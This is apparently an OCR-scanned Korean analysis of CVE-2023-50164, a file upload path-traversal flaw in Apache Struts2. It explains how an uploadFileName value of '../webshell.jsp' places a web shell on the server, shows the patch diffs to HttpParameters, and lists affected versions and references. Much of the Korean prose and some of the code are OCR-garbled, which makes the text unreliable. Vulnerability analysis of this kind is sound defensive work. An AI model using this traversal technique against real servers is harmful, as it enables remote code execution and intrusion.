[ UploadedFile[] files = multiNrapper.getFiles(inputName);]

if (files != null && files.length > @) {
List<UploadedFile> acceptedFiles = new Arraylist<>(files.length);
List<String> acceptedContentTypes = new Arraylist<>(files.length);
List<String> acceptedFilelames = new Arraylist<>(files.length);
String contentTypeMame = inputMame + "ContentType";
String fileNameName = inputName + "FileName";

a9 20. A== d stdof it AHE A%

oluff Awof AAFH mtdo] ARl test.jpg = setUploadFileName() HAE=

°f

N
el

i

C

public String[] getUploadFilelame()
return this.uploadFileNames;

public void setUploadFilelame(String[] uploadFileName)
this.uploadFileMames = uploadFilelName;

19 21. setUploadFileName()
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step 4) WY J=C opefule QAP - mddE Wx

Ao =t H ofAdmde] HIst] fs AHel dRE H o] wdEe
g E A olste] AL AAGe A= gAlo] JHEet mdior Yol AH] d=
H ahdo) w2 setUploadFileNameO< & A==, @A uploadFileName ©fli= mtd™go]
test.jpg Q! o] HHH AHitt. FA4A= o] wEmHE A olste] FAATE AAHTE Aol

Z2E 2ge HYYoR WA > ek

udt
st

oﬂ

ek "HAEOAE= /webshelljsp’e] FEiZ mAF-S AAS QS AETTE wEbA AH 9
uploadFileName whejn]e|7} A olxof, 7]E] APl test.jpg 7t ../webshelljsp = W F
olF, FAAT}L AT AR AZE H webshelljsp o] A2 g2 5o AT & Ut

o,

a2 9 & Edi=Z HITP 8% @te Hxs] I d=t satr|EzE 49 =He e
UreRdH "otk
a}2}0| e H =upload 1i}2}0] E{ H=Upload it2}0] E{ E=uploadFileName
Ot H=test.jpg oAU H=test.jpg oY H = /webshell.jsp
O HZC Ha0jE WIS Sof AMICE Tad DYE FHojR
I |
HREEHS 2 F&Ests ot Y2 L nl2to|E(uploadFileName) X7 2|
19 22. CVE-2023-5016 4
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Step 3. F°FH FX]

2023 129 4 ¢, Apache &= CVE-2023-50164 of oigh sfx]= #HZ<Ql Apache Struts2 6.3.0.2 &
AT, 2] Y2 offjo] AHrofA &l 4 o, ZZte] 4 A2 thait 2T

— core/src/main/java/org/apache/struts2/dispatcher/HttpParameters.java

HTTP 84 m=tulg A7 Ao taeas F#25HA @1, $493 d=uert e 3¢

AABHE remove() MM EZE F7HEo] mEtulEE Hoj2Ae Zo] £7sSESR WA] E .

76 86 public HttpParameters appendAll(Map<String, Parameter> newParams) {
87 + remove (newParams. keySet());

77 88 parameters.putAll (newParams);

78 89 return this;

79 98 1

1% 23. HttpParameters %] WY

dr

F7tote] AR AE FEotA $EE mA] HOh &, name=‘eqst’?} name="Eqst’E YT

11e 137 @override
111 138 public Parameter get(Object key) {
112 = if (parameters.containsKey(key)) {
113 - return parameters.get(key);
114 = } else {
115 - return new Parameter.Empty(String.valueOf(key));
139 4 if (key != null && contains(String.valueOf(key))) {
140 + String keyString = String.valueOf(key).tolLowerCase();
141+ for (Map.Entry<String, Parameter> entry : parameters.entrySet()) {
142+ if (entry.getKey() != null && entry.getKey().equalsIgnoreCase(keyString)) {
iy return entry.getValue();
144+ }
145+ }
116 146 }
147  + return new Parameter.Empty(String.valueOf(key));
117 148 }

a7 24. get() 2] Y
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63 73 public boolean contains(String name) {
64 = return parameters.containsKey(name);
74 + boolean found = false;
755 .+ String nameLowerCase = name.tolLowerCase();
76 +
770 + for (String key : parameters.keySet()) {
78  + if (key.equalsIgnoreCase(nameLowerCase)) {
79 + found = true;
80 + break;
81 + }
82 | + }
83 +
84 4 return found;
65 85 }
1% 25. contains() ] WY
50 52 public HttpParameters remove(Set<String> paramsToRemove) {
51 53 for (String paramName : paramsToRemove) {
52 = parameters.remove(paramName) ;
54  + String paramNameLowerCase = paramName.tolowerCase();
55 4+ Iterator<Entry<String, Parameter>> iterator = parameters.entrySet().iterator();
56 +
57 o+ while (iterator.hasNext()) {
58 + Map.Entry<String, Parameter> entry = iterator.next();
59 + if (entry.getKey().equalsIgnoreCase(paramNameLowerCase)) {
60 + iterator.remove();
61 + }
62 + }
53 63 }
54 64 return this;
55 65 }

19 26. remove() X UY
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m CiS geot
2023 ¥ 12 € 7 ¥, Apache & CVE-2023-50164 o tigt Hj2 5 At FHFgt WA A
Y 7% oY BE Faste] HAH HHASR HuolE dfof qirh.

o2 ‘o

— URL: https://struts.apache.org/download.cgi

e Q3 Y b ThAIE B
Struts 6.0.0 - Struts 6.3.0.1 6.3.0.2
Apache Struts2
pache Struts Struts 2.0.0 - Struts 2.3.37 (EOL)

2533
Struts 2.5.0 - Struts 2.5.32
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H 21 AIO|E
« URL: https://nvd.nist.gov/vuln/detail/ CVE-2023-50164

« URL: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurity Advisory/cisco—sa—struts—

C2kCMkmT
« URL?: https://lists.apache.org/thread/yh09b3fkf6vz5d6jdgrlvmg60lfwighj

« URL: https://github.com/apache/struts/commit/162e¢29fee9136f4bfd9b2376da2cbf590f9eal163
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